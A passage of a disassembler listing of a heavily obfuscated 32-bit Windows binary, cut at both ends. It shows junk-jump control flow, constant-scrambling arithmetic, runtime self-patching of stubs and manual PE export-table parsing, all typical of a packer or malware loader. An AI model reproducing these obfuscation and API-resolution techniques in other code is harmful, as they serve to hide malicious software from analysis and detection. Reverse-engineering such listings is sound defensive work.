; FUNCTION CHUNK AT 00447EA0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448290 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449183 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0044BB1E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CA73 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044ECD8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004505CD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045175C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004519F7 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00454D2E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00454DD2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0045770A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00457805 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00458384 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004596A4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00459895 SIZE 0000000A BYTES

		xchg	ecx, [esp-8+arg_4]
		pop	ecx
		inc	dword ptr [ebp-8]
		cmp	dword ptr [ebp-8], 19h

loc_43D18C:				; CODE XREF: dviuq5id:0043B72Aj
		jnz	loc_4519F7
		jmp	loc_442C6F
sub_43D181	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_43D197:				; CODE XREF: sub_448154-8121j
		jnz	loc_452A81
		jnb	loc_43E347
		jmp	loc_459200
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4461D0

loc_43D1A8:				; CODE XREF: sub_4461D0+17j
		test	edx, 10h
		jmp	loc_445D3C
; END OF FUNCTION CHUNK	FOR sub_4461D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443512

loc_43D1B3:				; CODE XREF: sub_443512+12j
		call	sub_453642
		mov	ds:dword_41D104, eax
		lea	eax, nullsub_4
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_4
; END OF FUNCTION CHUNK	FOR sub_443512
; ---------------------------------------------------------------------------
		call	nullsub_12
		jmp	ds:dword_41D108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454362

loc_43D1D7:				; CODE XREF: sub_454362+Aj
		jmp	loc_446054
; END OF FUNCTION CHUNK	FOR sub_454362
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_43D1DC:				; CODE XREF: sub_43938B+192B5j
		jmp	nullsub_375
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_43D1E1:				; CODE XREF: sub_43D28E+1B8DFj
		sbb	edi, edx
		jmp	loc_441C1F
; ---------------------------------------------------------------------------

loc_43D1E8:				; CODE XREF: sub_44CBA2:loc_43C9C8j
					; sub_43D28E:loc_440C3Dj
		sub	al, 99h

loc_43D1EA:				; CODE XREF: dviuq5id:00457915j
		push	0B0EB6DCEh
		pop	edx
		jmp	loc_450D8A
; END OF FUNCTION CHUNK	FOR sub_43D28E
; ---------------------------------------------------------------------------
		ror	ecx, 0Bh
		xor	edi, 7CCEA8AFh
		jmp	sub_450FF0
; ---------------------------------------------------------------------------

loc_43D203:				; CODE XREF: dviuq5id:loc_44EA99j
		call	sub_453642
		push	esi
		push	0E2301445h
		pop	esi
		jmp	loc_43A717
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43D214:				; CODE XREF: sub_459385-10511j
		js	loc_43AB7F
		add	edx, 1941F9BEh
		jmp	loc_43AB7E
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------

loc_43D225:				; DATA XREF: sub_440DA1+27A7o
		xchg	ebx, [esp]
		jmp	sub_449187

; =============== S U B	R O U T	I N E =======================================



sub_43D22D	proc near		; CODE XREF: sub_443333+5p
					; dviuq5id:004435E6j
		xchg	edx, [esp+0]
		pop	edx
sub_43D22D	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_43D231:				; CODE XREF: sub_44CFBC-8F8Bj
		xchg	edi, [esp+0]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_458B57
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
		shl	edx, 0Dh
		jmp	loc_440EBF
; ---------------------------------------------------------------------------
		ror	eax, 18h
		jmp	sub_4435C5

; =============== S U B	R O U T	I N E =======================================



sub_43D24F	proc near		; CODE XREF: sub_441903-EE1p
					; dviuq5id:0044FDE6j

; FUNCTION CHUNK AT 0043E90F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043E96D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043EE38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004431CB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044E0BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044EE81 SIZE 00000012 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		push	0D4D402DBh
		pop	eax
		sub	eax, 7C8E6EDCh
		xor	eax, 1AD8982h
		jmp	loc_4431CB
sub_43D24F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4486F9

loc_43D26B:				; CODE XREF: sub_4486F9+CB34j
		jp	loc_443E74
		cdq
		add	ebp, edi
		jmp	loc_449613
; END OF FUNCTION CHUNK	FOR sub_4486F9
; ---------------------------------------------------------------------------
		xor	ebx, eax
		jmp	sub_43BDAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_43D280:				; CODE XREF: sub_4551F9+36F5j
		mov	ebp, eax
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_43D284:				; CODE XREF: sub_43AEAA+AA24j
		jmp	nullsub_169
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------

loc_43D289:				; CODE XREF: dviuq5id:0043E811j
		jmp	sub_43C710

; =============== S U B	R O U T	I N E =======================================



sub_43D28E	proc near		; CODE XREF: dviuq5id:0043A42Dp
					; sub_458B23:loc_441CAEj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C9DF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043D081 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043D1E1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00440C3D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044153F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00447643 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044E0DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045077B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450D8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452FC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453E7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004545AF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00458B6A SIZE 00000008 BYTES

		push	ecx
		mov	ecx, ebp
		jmp	loc_45077B
sub_43D28E	endp

; ---------------------------------------------------------------------------

loc_43D296:				; CODE XREF: dviuq5id:0043918Fj
		pop	ebx
		and	ebx, 0E4FB7D9Eh
		or	ebx, 0A899FB50h
		sub	ebx, 25AF6DD6h
		jmp	loc_459A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458330

loc_43D2AE:				; CODE XREF: sub_458330:loc_439D37j
		ror	ebx, 18h
		push	653A7FA1h
		jmp	loc_458072
; END OF FUNCTION CHUNK	FOR sub_458330
; ---------------------------------------------------------------------------
		mov	ds:dword_41D1B4, eax
		lea	eax, nullsub_486
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_486
; ---------------------------------------------------------------------------
		call	nullsub_305
		jmp	ds:dword_41D1B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_43D2DA:				; CODE XREF: sub_44A15A+1DEj
		xor	edx, 6A22E964h
		add	eax, edx
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		ror	eax, 10h
		jmp	loc_440A31
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
		mov	eax, 20413B0Fh
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		jmp	loc_459C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_43D300:				; CODE XREF: sub_459804-1603Cj
		push	0BD0AF821h
		pop	ebx
		and	ebx, 153BF7EDh
		add	ebx, 26EEC110h

loc_43D312:				; CODE XREF: dviuq5id:loc_43F036j
		jmp	loc_440DE4
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4462EC

loc_43D317:				; CODE XREF: sub_4462EC+DE93j
		mov	edx, edi

loc_43D319:				; CODE XREF: dviuq5id:loc_456CB9j
		pop	edi
		push	offset sub_453916
		jmp	nullsub_217
; END OF FUNCTION CHUNK	FOR sub_4462EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4442C5

loc_43D324:				; CODE XREF: sub_4442C5-1EFBj
		jz	loc_44B4C6

loc_43D32A:				; CODE XREF: sub_44C997+19j
		jmp	loc_43AE56
; END OF FUNCTION CHUNK	FOR sub_4442C5
; ---------------------------------------------------------------------------
		jnp	loc_458484
; START	OF FUNCTION CHUNK FOR sub_454228

loc_43D335:				; CODE XREF: sub_454228+5C5Ej
		and	edx, 4F03ACE2h
		mov	[edx], esi
		sbb	ecx, ebx
		jb	loc_440E64
		jmp	loc_44B4C6
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454465

loc_43D34A:				; CODE XREF: sub_454465-4CE3j
		jz	loc_4478C6
		xchg	ebp, ebx
		jge	loc_452309
		jmp	loc_4478C4
; END OF FUNCTION CHUNK	FOR sub_454465
; ---------------------------------------------------------------------------

loc_43D35D:				; CODE XREF: dviuq5id:00453348j
		push	edx
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		call	sub_440D7A
		mov	al, 1
		jmp	loc_454C8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BC7B

loc_43D370:				; CODE XREF: sub_43BC7B:loc_446DFDj
		xchg	esi, [esp+8+var_8]
		push	edi
		push	offset sub_43EF0E
		jmp	loc_440D67
; END OF FUNCTION CHUNK	FOR sub_43BC7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBEA

loc_43D37E:				; CODE XREF: sub_43FBEA+15F4Bj
		mov	eax, [esp+0]
		push	edx
		push	ebx
		push	593DAB1Ch
		jmp	loc_44913E
; END OF FUNCTION CHUNK	FOR sub_43FBEA
; ---------------------------------------------------------------------------

loc_43D38D:				; CODE XREF: dviuq5id:004527D4j
		sbb	edx, 8423773Ah

; =============== S U B	R O U T	I N E =======================================



sub_43D393	proc near		; CODE XREF: dviuq5id:0043F5FEp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043E641 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004409D5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044263F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445BE2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00448295 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AF70 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044E714 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F61F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451AC6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00451D48 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	eax, [ebp-0Ch]
		jnz	loc_4418AB
		jmp	loc_44263F
sub_43D393	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574FD

loc_43D3A5:				; CODE XREF: sub_4574FD+Fj
		pop	esi
		xor	esi, 9B76D031h
		jns	loc_43FCDD

loc_43D3B2:				; CODE XREF: sub_452BBF:loc_45A286j
		jmp	nullsub_277
; END OF FUNCTION CHUNK	FOR sub_4574FD
; ---------------------------------------------------------------------------

loc_43D3B7:				; CODE XREF: dviuq5id:00441444j
		jmp	loc_44C82E
; ---------------------------------------------------------------------------

loc_43D3BC:				; CODE XREF: dviuq5id:0043E501j
		jmp	sub_45061D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_43D3C1:				; CODE XREF: sub_446682-C0B8j
		jmp	loc_458578
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
		test	ebp, eax
		jmp	loc_43FCD5
; ---------------------------------------------------------------------------
		xor	esi, edi
		jmp	sub_43D767
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440599

loc_43D3D4:				; CODE XREF: sub_440599:loc_4405A8j
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		push	offset loc_45615E
		jmp	loc_439568
; END OF FUNCTION CHUNK	FOR sub_440599
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_43D3E5:				; CODE XREF: sub_44C592:loc_43F59Aj
		xor	ebx, 8E7E6760h
		add	eax, ebx
		pop	ebx
		push	edi
		push	0FB800926h
		pop	edi
		and	edi, 9ED042D4h
		rol	edi, 1Dh
		jmp	loc_44C168
; END OF FUNCTION CHUNK	FOR sub_44C592
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jbe	loc_44A221
		shr	edx, 4
		jmp	sub_446682
; ---------------------------------------------------------------------------

loc_43D412:				; CODE XREF: dviuq5id:0043B3E6j
		or	ecx, 7351D53Eh
		mov	[eax], ecx
		jnp	loc_4457B8
		add	esi, edi

loc_43D422:				; CODE XREF: dviuq5id:loc_442415j
		mov	eax, [ebp-4]
		jmp	loc_449BB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43D42A:				; CODE XREF: sub_43C4B5:loc_44FA7Bj
		jz	loc_459BEA
		xor	ebx, 8017EFEh
		cmp	edi, eax
		jmp	loc_43AFCF
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------

locret_43D43D:				; CODE XREF: dviuq5id:00456177j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_43D43E:				; CODE XREF: sub_43EB11+A1FFj
		ja	loc_4562C1

loc_43D444:				; CODE XREF: sub_450686:loc_444AF8j
		sub	eax, 47C33635h
		add	eax, 3013CAFFh
		push	edi
		jmp	loc_457D65
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------

loc_43D456:				; CODE XREF: dviuq5id:00445844j
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_43D457:				; CODE XREF: sub_43C2DA:loc_44A517j
		or	esi, 32C0DE99h
		sub	esi, 0A84D5158h
		xor	esi, 4A9BAE45h
		xchg	esi, [esp+0]
		pushf
		push	2AC83839h
		not	eax
		jmp	loc_442360
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------

loc_43D479:				; CODE XREF: dviuq5id:0043ADEBj
		jnp	loc_44A871

loc_43D47F:				; CODE XREF: dviuq5id:0045666Cj
		jle	loc_44E683
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43D485:				; CODE XREF: sub_44B2EA:loc_43ADDEj
		xor	edx, 0C0E83597h
		add	edx, 0D813498Dh
		call	sub_449EB7
		push	eax
		jmp	loc_43A269
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_43D49C:				; CODE XREF: dviuq5id:0043C23Aj
					; sub_446682:loc_458F97j
		sub	esi, ds:4000F6h
		and	esi, 0A23AB1DFh
		rol	esi, 10h
		add	esi, 4EBBF30Eh
		xchg	esi, [esp+0]
		jmp	loc_442B99
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
		jz	loc_4544AA
		jmp	sub_43E859
; ---------------------------------------------------------------------------

loc_43D4C4:				; DATA XREF: sub_44C6ED:loc_44DAE4o
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43EE30
		jmp	loc_449E87
; ---------------------------------------------------------------------------

loc_43D4D3:				; CODE XREF: dviuq5id:0043DA5Bj
		add	ebx, 7624DE47h
		xor	ebx, 3EE65C7h
		and	ebx, 7D5F2326h
		add	ebx, 96F4DA4Ah
		xchg	ebx, [esp]
		jmp	sub_456F43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_43D4F3:				; CODE XREF: sub_450686-3496j
		xor	edx, 8502EDB3h

loc_43D4F9:				; CODE XREF: sub_450686:loc_450695j
		jmp	loc_43FA7F
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB05

loc_43D4FE:				; CODE XREF: dviuq5id:00442E13j
					; sub_440898:loc_44CD56j ...
		call	dword ptr [ebp-4]
		neg	eax
		sbb	eax, eax
		neg	eax
		jmp	loc_452AA5
; END OF FUNCTION CHUNK	FOR sub_43CB05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_43D50C:				; CODE XREF: sub_449222+8852j
		shl	ebp, 0Dh
		jmp	loc_43ABC8
; END OF FUNCTION CHUNK	FOR sub_449222

; =============== S U B	R O U T	I N E =======================================



sub_43D514	proc near		; CODE XREF: dviuq5id:0043F979j
					; dviuq5id:004598AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044E92D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004595DA SIZE 00000024 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	ecx
		mov	ecx, edx
		jmp	loc_4595DA
sub_43D514	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450981

loc_43D523:				; CODE XREF: sub_450981:loc_43CB2Dj
		lea	eax, sub_44BB42
		mov	byte ptr [eax],	0C3h
		jmp	loc_450812
; END OF FUNCTION CHUNK	FOR sub_450981

; =============== S U B	R O U T	I N E =======================================



sub_43D531	proc near		; CODE XREF: sub_405F00+247p
					; sub_405F00+2A2p ...
		call	sub_43D53C
		jmp	ds:off_41D158
sub_43D531	endp


; =============== S U B	R O U T	I N E =======================================



sub_43D53C	proc near		; CODE XREF: sub_43D531p
					; sub_43D53C:loc_441155j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00441017 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441155 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004458B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447856 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00448742 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C0DA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044CECC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044EA65 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0044F8A3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004534D1 SIZE 00000005 BYTES

		js	loc_44CECC
		xchg	ebx, [esp+0]
		mov	edx, ebx
		jmp	loc_4534D1
sub_43D53C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43D54C:				; CODE XREF: dviuq5id:0045A51Aj
		xor	edi, 50FC3312h

loc_43D552:				; CODE XREF: dviuq5id:loc_45A50Aj
		add	edx, 5E20FDB0h
		xchg	edx, [esp]
		jmp	loc_44D84F
; ---------------------------------------------------------------------------

loc_43D560:				; CODE XREF: dviuq5id:00456562j
		cmp	ebx, 0ECE21730h
		jmp	loc_44DACE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_43D56B:				; CODE XREF: dviuq5id:00448AA5j
					; sub_44514D+B88Fj
		and	ecx, ebp
; END OF FUNCTION CHUNK	FOR sub_44514D

; =============== S U B	R O U T	I N E =======================================



sub_43D56D	proc near		; CODE XREF: dviuq5id:004483F3p
		xchg	eax, [esp+0]

loc_43D570:				; CODE XREF: dviuq5id:004544D9j
		pop	eax
		or	edx, edx

loc_43D573:				; CODE XREF: dviuq5id:004556CFj
		jmp	loc_440213
sub_43D56D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43D578:				; DATA XREF: sub_44E109-1432o
		mov	eax, [esp]
		push	ebx
		push	528DEAA6h
		pop	ebx
		rol	ebx, 12h
		jmp	loc_453121
; ---------------------------------------------------------------------------

loc_43D58A:				; CODE XREF: dviuq5id:00440B27j
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp]
		cmp	ebx, ecx
		js	loc_4573D4
		sub	edx, eax
		jmp	loc_443AEA
; ---------------------------------------------------------------------------

loc_43D59F:				; DATA XREF: sub_44CA9A-134C6o
		push	0C2CEB0A6h
		pop	eax
		rol	eax, 1Eh
		xor	eax, 54A91876h
		jmp	loc_45831A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_43D5B4:				; CODE XREF: sub_447A8A+Fj
		jmp	loc_444ACD
; END OF FUNCTION CHUNK	FOR sub_447A8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440CB8

loc_43D5B9:				; CODE XREF: sub_440CB8+10j
		jmp	loc_44D11D
; END OF FUNCTION CHUNK	FOR sub_440CB8

; =============== S U B	R O U T	I N E =======================================



sub_43D5BE	proc near		; DATA XREF: dviuq5id:00451AE8o

; FUNCTION CHUNK AT 00439D5A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00441938 SIZE 00000005 BYTES

		push	edx
		push	107CD2D8h
		pop	edx
		add	edx, 6607F83Dh
		xor	edx, 0C96E254h
		jmp	loc_441938
sub_43D5BE	endp

; ---------------------------------------------------------------------------

loc_43D5D6:				; CODE XREF: dviuq5id:0044B11Bj
		mov	edx, ds:dword_445634
		or	edx, edx
		jnz	loc_44179B
		jmp	loc_450C1C
; ---------------------------------------------------------------------------

loc_43D5E9:				; DATA XREF: sub_43CF31+B748o
		push	0CBA95715h
		pop	ebx
		or	ebx, 0A45F7F51h
		add	ebx, 104514C8h
		jmp	loc_449BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_43D600:				; CODE XREF: sub_447ECD:loc_457D30j
		jz	loc_456971
		jmp	loc_452356
; END OF FUNCTION CHUNK	FOR sub_447ECD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BCF

loc_43D60C:				; CODE XREF: sub_453BCF-3C43j
		jmp	loc_44FB76
; END OF FUNCTION CHUNK	FOR sub_453BCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBD7

loc_43D611:				; CODE XREF: sub_43FBD7+3j
		jmp	nullsub_471
; END OF FUNCTION CHUNK	FOR sub_43FBD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43D616:				; CODE XREF: sub_441DDA+1D3Bj
		rol	esi, 1Ch

loc_43D619:				; CODE XREF: sub_439C09:loc_443B03j
		sub	ecx, 76493802h
		rol	ecx, 0Ch
		add	ecx, 0B7D08798h
		popf
		xchg	ecx, [esp+0]
		jmp	loc_43A58C
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
		rol	eax, 7
		jmp	loc_451E6B
; ---------------------------------------------------------------------------
		push	ecx
		push	349626C2h
		pop	ecx
		or	ecx, 9252412h
		test	ecx, 20000000h
		jmp	loc_441845
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_43D651:				; CODE XREF: sub_446B53+9FF7j
		jb	loc_44588F

loc_43D657:				; CODE XREF: sub_446B53:loc_4491C1j
		push	eax
		push	935C2438h
		add	eax, 6467BA15h
		jmp	loc_447CA4
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C42

loc_43D668:				; CODE XREF: sub_449C42+Aj
		jz	loc_44312D
		mov	ebx, [ebx+ecx]
		push	offset loc_443128
		jmp	nullsub_62
; END OF FUNCTION CHUNK	FOR sub_449C42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43D67B:				; CODE XREF: sub_43CB4C+D297j
		pushf
		or	ebx, edi
		or	edx, edi
		jmp	loc_441C1D
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF9D

loc_43D685:				; CODE XREF: sub_43AF9D+1EB6j
		rol	ebp, 9

loc_43D688:				; CODE XREF: sub_43AF9D:loc_449EA6j
		xor	eax, eax
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-70h]
		push	eax
; END OF FUNCTION CHUNK	FOR sub_43AF9D
; START	OF FUNCTION CHUNK FOR sub_44F38E

loc_43D691:				; CODE XREF: sub_44F38E:loc_44244Aj
		call	dword ptr [ebp-4]
		jmp	loc_44BA63
; END OF FUNCTION CHUNK	FOR sub_44F38E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43D699:				; CODE XREF: sub_449485+8E47j
		test	edx, 19601484h
		jmp	loc_442F81
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
		mov	edi, ebp
		jmp	sub_45815A
; ---------------------------------------------------------------------------

loc_43D6AB:				; CODE XREF: dviuq5id:0043C0A5j
		js	loc_43C54C

; =============== S U B	R O U T	I N E =======================================



sub_43D6B1	proc near		; CODE XREF: dviuq5id:0043A077p

; FUNCTION CHUNK AT 0044B064 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[ecx], eax
		pop	ecx
		lea	eax, nullsub_16
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B064
sub_43D6B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43D6C6:				; CODE XREF: dviuq5id:0044F49Dj
		xor	ecx, 0DFDD2C77h
		xchg	ecx, [esp]
		call	sub_44E2FA
		push	edi
		push	7D5DE10h
		pop	edi
		jmp	loc_4407A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_43D6E0:				; CODE XREF: sub_43BA0E:loc_450055j
		mov	edx, eax
		call	sub_45A04B
		call	sub_441C54
		or	eax, eax
		jmp	loc_443EBB
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------

loc_43D6F3:				; CODE XREF: dviuq5id:00445651j
		mov	edx, ds:dword_456790
		or	edx, edx
		jnz	loc_44D255
		jmp	loc_456F96
; ---------------------------------------------------------------------------

loc_43D706:				; CODE XREF: dviuq5id:loc_45594Bj
		pop	esi
		lea	eax, loc_455306
		mov	byte ptr [eax],	0C3h
		jmp	loc_4494A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F697

loc_43D715:				; CODE XREF: sub_44F697+4j
		mov	eax, [esp+0]
		push	ebx
		jmp	loc_45A48C
; END OF FUNCTION CHUNK	FOR sub_44F697
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_43D71E:				; CODE XREF: sub_454267:loc_439149j
		jz	loc_45572F
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_4522E9

loc_43D72D:				; CODE XREF: dviuq5id:00442731j
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_45572F
; ---------------------------------------------------------------------------

loc_43D736:				; CODE XREF: sub_454267:loc_446208j
		test	byte ptr [ebp-8], 2
		jmp	loc_450C27
; END OF FUNCTION CHUNK	FOR sub_454267

; =============== S U B	R O U T	I N E =======================================



sub_43D73F	proc near		; CODE XREF: sub_43ED10+1D08j
					; dviuq5id:00455618p
		xchg	edi, [esp+0]
		pop	edi
		push	edi
		call	sub_43DA15
sub_43D73F	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44646F

loc_43D749:				; CODE XREF: sub_44646F:loc_44FD5Dj
		and	eax, 48722FA8h
		test	eax, 1000000h
		jmp	loc_441FB7
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43D75A:				; CODE XREF: dviuq5id:00454A77j
					; sub_43FDFB+177B6j
		rol	ecx, 1Dh
		push	offset sub_4588C8
		jmp	loc_447AC1
; END OF FUNCTION CHUNK	FOR sub_43FDFB

; =============== S U B	R O U T	I N E =======================================



sub_43D767	proc near		; CODE XREF: dviuq5id:0043B4E0p
					; dviuq5id:0043D3CFj

var_4		= dword	ptr -4
